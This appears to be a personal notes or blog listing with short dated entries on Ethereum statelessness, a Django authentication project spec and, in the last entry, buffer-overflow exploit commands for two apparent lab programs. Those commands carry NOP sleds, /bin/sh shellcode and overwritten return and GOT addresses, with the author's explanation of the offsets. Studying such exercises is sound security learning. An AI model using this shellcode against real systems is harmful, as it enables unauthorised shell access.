Statelessness is important in Ethereum as it allows for nodes that sync fast to be used, increasing trust assumptions for users due to an increased decentralised verification system. It is also great for state resurrection should we ever decide to prune out the stale state or even delete less relevant states. We will likely keep a state stored elsewhere instead of on full nodes, and should we ever need it, clients can use stateless blocks for execution and verification.
6/18/2023Perfect secrecy
5/12/2023Project Description: This project aims to develop a Django application that provides a simple email and password authentication system to allow users to sign up and log in. Additionally, the application allows listing all registered users. The project will use Django REST Framework (DRF) to develop a RESTful API. SQLite will be used as the database. Functional Requirements: User Sign Up: The user should be able to sign up by providing their email and password. User Login: The user should be able to log in with their email and password. User List: The application should allow listing all registered users. Authentication: The application should verify the user's credentials before granting access to their account. Authorization: Only authenticated users should be able to access the user list.
4/14/2023prog5: prog5 $(python -c "print('\x90'*400+'\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80'+'\x90'*97+'\x80\xd8\xfd\xff')") Why? char buffer[512]; needs to be overwritten, so 400+23+97+4 = 524 - which happens on my device for some reason. It should basically be 516, thus the exit code at the end / return address at the end we need for the program to work. The shell code (23 bytes in the middle), is enough to break this and give us the shell. prog7: prog7 $(python -c 'print("\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 50 + "\x58\x98\x04\x08")') $(python -c 'print("\x10\xdb\xfd\xff")') Here, the exit address from the GOT needs to be overwritten by the memory address for any arbitrary NOP operation defined in the first arg, so that it NOPS out to the Shell code in the middle, then gives it an exit after 128 bytes defined in the buffer, but the second arg needs to be written right at the end so that it can actually jump since exit() forces a jump in the memory.
4/12/2023